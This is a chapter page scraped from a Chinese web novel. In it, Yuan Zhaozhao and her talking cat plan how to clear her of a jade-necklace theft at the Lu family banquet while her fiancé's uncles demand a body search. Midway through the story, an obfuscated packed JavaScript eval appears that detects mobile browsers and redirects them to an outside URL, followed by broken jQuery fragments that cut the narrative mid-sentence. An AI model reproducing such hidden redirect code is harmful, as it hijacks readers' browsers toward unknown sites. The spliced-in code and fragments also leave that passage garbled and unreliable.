默认冷灰
24号文字
方正启体

7. 粉墨登场

作者:祝岁本书字数:K更新时间:
    银子团成一团,尾巴上下拍动,水滴四溅。


    元昭昭连忙避开。


    不知是不是她的错觉,猫耳尖尖上好像有点红。


    “拒绝!”


    元昭昭也没勉强它:“那就,昭昭吧。”


    模模糊糊的印象里,元佑捉着她的衣角,拉着她到处转,有时候在家里,有时候在草坪上,有时候又在游乐场。


    他笑得那样开心,与病房里那个无法睁眼的枯瘦男孩判若两人。


    “昭昭姐姐,你吃这个!”


    “昭昭姐姐,你的新衣服真好看!”


    “昭昭姐姐……”


    “昭昭姐姐……”


    真好呀。


    元昭昭盯着镜子中的自己。


    可是,她把那样美好的时光,弄丢了。


    “元小姐。”有人在洗手间外敲门。


    元昭昭和银子交换了下视线:“什么事?”


    “陆夫人的保险柜失窃,”他顿了顿,“监控视频显示,您进去过。”


    “陆家的意思是,搜身。”


    搜身?


    大庭广众,众目之下,搜身?


    是他陆家的意思,还是他陆谓年的意思?


    这件事,针对的是她元昭昭,还是高名召祸的陆谓年?


    “哪位陆夫人?”元昭昭隔门相问。


    “陆大公子的母亲,先董事长的夫人。”


    “——银宁女士。”


    银子突然脚趾发抖。


    元昭昭安抚地摸了摸猫后颈:“好,我知道了,这就来。”回头却见银子比她的状态还要差,不禁出声问。


    “怎么了?”


    不能说,还不到说的时候。


    银子咬着牙,忍住躁动与不安:“没事两……昭昭,台子和水太冷了……冻得发麻。”


    元昭昭抱起它,轻轻挼了挼:“这样好点了吗?”


    银子抓住她的衣襟又松开,甩了甩尾巴,跳到地面上,来回走了几步,表示没问题。


    元昭昭蹲下身,微微笑着摸了摸它的毛发。


    “要麻烦你啦。”


    银子沉默片刻,坐地起价:“我要单独睡一张床。”


    元昭昭指尖一顿:“好。”


    “每天一条鱼,七天做法不重样。”


    元昭昭保持微笑:“好。”


    银子:“你再答应我三件事。”


    元昭昭起身:“在实验室给你安排一张床,每天让白大褂给你送鱼吃……”


    银子脖后毛炸起:“你威胁我!”


    不过是想趁机捞点好处,没想到又被看似温温柔柔的两脚兽威胁了。


    “一件,我答应你一件事,不违反法律法规,不违背道德道义。以后我们互惠互利,直到……”元昭昭看向门外,留给她的时间不多了。


    “直到离开。”


    银子咬咬牙。


    适可而止也好。


    它伸爪。


    “成交。”


    元昭昭轻轻握了下它的小爪子。


    “成交。”


    “从现在开始,我们兵分两路。”


    “事情不是我做的,监控视频一定有问题。你去倾听在场所有人的心声,包括宾客和佣人,能还原多少时间线是多少,最好找出知情人,找到漏洞,之后将听到的、看到的都告诉我,我再见机行事。”


    “那你呢?”


    银子撑着大理石砖,担心地走向元昭昭,爪子轻轻搭在她的手腕上,软软的,像一团藏着刀锋的棉花。


    少女狡黠地一笑:“我去找年糕先生,他应该相信自己的未婚妻吧。”


    -


    元昭昭沿着螺旋楼梯,一步步走回宴会厅。周围不时有保安、佣人经过,灯光也比来之前明亮。喧嚷的吵闹声不绝于耳,即便没有银子转达,也清楚鲜明。


    “谓年啊,你从哪里找的小姑娘,没家世背景不说,手脚还不干净。像这样的人,别说嫁进我们陆家了,看门都不够格。”


    为首的中年男子明显发了福,脸圆润如盘,腿脚也不大利索,支着一根机械拐杖,说话不时敲击地面,发出“笃笃”的噪声。


    是陆氏集团的二号人物,陆谓年的二叔,陆富。


    他哼了声:“听说她还盯着闻雪那丫头的胸针看了半天,一枚胸针而已,我陆家要多少没有,也太上不得台面了。”


    这才过去多久,酒会上的大小事情便都被他这位好叔叔了解个一清二楚,不知道的,还以为他在现场装了眼、安了耳。


    “二叔老当益壮,耳力更胜从前。”


    陆谓年冷笑一声:“这么好用的基因,不如捐给集团做研究,为公司发展做贡献。”


    陆富气得两颊直抖。


    什么研究,这小子是咒他死,是扒他的皮、抽他的骨!


    “你、你、你……”他半天没“你”出个所以然来。


    三叔陆察瞥了陆富一眼,推了推鼻梁上的眼镜,接上后话。


    “你二叔也是为了你好,监控视频里都出现那小姑娘的身影了,搜身不正好证明她的清白吗?”


    他镜片极厚,显得人学识渊博又斯文有礼。


    “……要是你护着那小姑娘,觉得当着我们这些老家伙的面搜身不方便,也可以请闻雪来嘛。”


    陆察环视四周,含蓄一笑。


    有人点头附和:“……还是陆三爷体贴。”


    请蔺闻雪?


    是知道她为难元昭昭的事了,打算推羊入虎口、送肉与恶狗?


    蔺闻雪站在她家老爷子蔺政的后边,轻轻打了个喷嚏。


    被迫挡枪就够烦了。


    谁又骂她?


    陆谓年面上不动声色,眼底寒霜一片。


    他的好三叔大概怎么也想不到,他与蔺闻雪早已在商言商、约法三章。纵使这件事真与元昭昭有关,她也会看在他的面上,适可而止,把对他名声的损伤降到最低。


    关键是——


    东西到底在谁手上。


    那是他母亲的遗物,便是有人做局,也不该以它为饵,手伸这么长。


    陆谓年掷地有声:“阿昭是我的未婚妻。是与非,总要调查清楚,二叔、三叔,不会连这点时间都等不了吧。”


    阿昭。


    元昭昭下楼的脚步一滞,旋即冷静下来。


    说到底,从签订结婚协议的那刻起,他们已经是一条线上的蚂蚱了。


    一荣俱荣、一损俱损。


    但是,他陆谓年维护的,是他无惧门楣有别、坦然公之于众的未婚妻。


    不是她。


    元昭昭深吸一口气,压下原本怦怦乱蹦的心跳,脚步愈发轻盈。


    “陆二叔、陆三叔,跟谓年在一起这么久了,还没有正式拜访过您们,真是不好意思。”


    陆察正要辩驳两句,却被少女清亮温和的声音打断。他举目望去,少女微微笑着,既不张扬也不怯懦,好像身处局外,从容自若。


    陆谓年带来的人,或许,真不简单?


    陆察一笑:“元小姐客气了。”


    元昭昭状若不经意间地扫了眼站在前排的人,没有一位女士和陆家两位叔父差不多年纪。


    显然,丢失东西的苦主——陆夫人并不在场。


    这么重要的场合,陆夫人为什么不在?


    虎豹豺狼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405786|168765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在前,不容元昭昭多想。


    她反客为主,大方磊落:“既然是有贵重物品丢失,二位长辈不如先说说丢的是什么?在场这么多人,总得让大家心里有数,免得稀里糊涂被扣了帽子。”


    要淡定,要周旋,尽量为银子争取时间。


    “明知故问。”陆富冷哼一声,满目不屑。


    “陆二叔这么说就不妥了吧。”


    齐城站出来打圆场:“元小姐初来乍到,路都没摸清楚呢,何谈偷东西?其中一定有误会。”


    “误打误撞眼馋也是有的。”


    陆富瞥了眼齐城,拄着拐杖的手松了松。


    “小城啊,别有事没事跟在谓年身后瞎混,老齐忙,要是没时间照顾你,也可以来找二叔啊。”


    齐城心下发笑。


    想管我,你算老几啊——


    跟我家老爷子私交甚笃的是谓年哥他亲爹好吧。


    但他面上依然笑嘻嘻:“多谢陆二叔,我事儿多,为免折寿,您老还是避着点好。”


    陆谓年睨了他一眼。


    合着就折我的?


    “是羊脂玉项链。”他沉声提示。


    元昭昭会意点头。


    “陆氏集团家大业大,旗下基因检测机构挂的招牌便是‘公正公平’,我相信,背后的主理人也不会平白污人清白。”


    她走到陆谓年身边,与他并肩而立。


    “监控视频可能造假,需要专业人员鉴别。但事不宜迟,我可以先去阿姨的房间看看吗?说不定能找到什么线索。”


    “……别是贼喊捉贼吧。”


    有人小声议论。


    陆谓年垂眸看向少女,她双眼如星子般澄澈,却又沾染了几分狡黠,像上好的璞玉,灼灼生光,好似能闯过暗夜的黑凉。


    他冷眼扫过质疑的人,周围瞬间安静下来。


    “说说看。”


    元昭昭看了眼躁动不安的宾客们。


    这些话,明面上是说给陆谓年听,实则是威慑,威慑人群中隐匿的宵小,她元昭昭并不好拿捏,有的是办法查出“真凶”。


    “东西原本放在何处,有什么途径可以拿走,是激情犯罪还是蓄意而为,进出房间需要多久……都可以通过现场痕迹还原一二……”


    她条理清晰,振振有词。


    “与其揪着监控视频这一条不知真假的证据,不如多路并进,互为佐证,加快破获真相的速度。”


    陆谓年眯起双眼。


    真是出乎意料。


    一个靠资助成长至今的小姑娘,还没有走进社会,就能有这般大的能量。面对骤然降临的“灾祸”,居然能从容有据,镇定自若?


    “巧言令色。”陆富狠狠敲击了两下机械拐杖。


    陆察瞥了他二哥一眼,慢条斯理道:“谓年,你可是我陆家的未来,万不能被人牵着鼻子走。”


    元昭昭目光坚定,仿佛对他人的评价无动于衷。


    不能害怕、不能动摇。


    她轻轻扯了扯陆谓年的袖口:“谓年,你是相信我的吧。”


    元昭昭仰视着他,将生杀予夺的刀,堂而皇之地递到陆谓年手中,像是他们真的一同走过无数岁月,她早已发自内心地相信他,相信他能够在任何情况下,刀锋对敌,刀背护她。


    指尖的温度透过褶皱覆上他的手腕。


    陆谓年低头看了眼元昭昭的神色,最终,淡淡的。


    “好。”


    “胡闹!”陆富击杖怒吼,“嫌疑人都能随意出入现场了,还有什么调查的必要!”


    “是啊,谓年,你二叔说得有理,不能这样胡来的。”陆察蹙眉,温文尔雅地提议。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)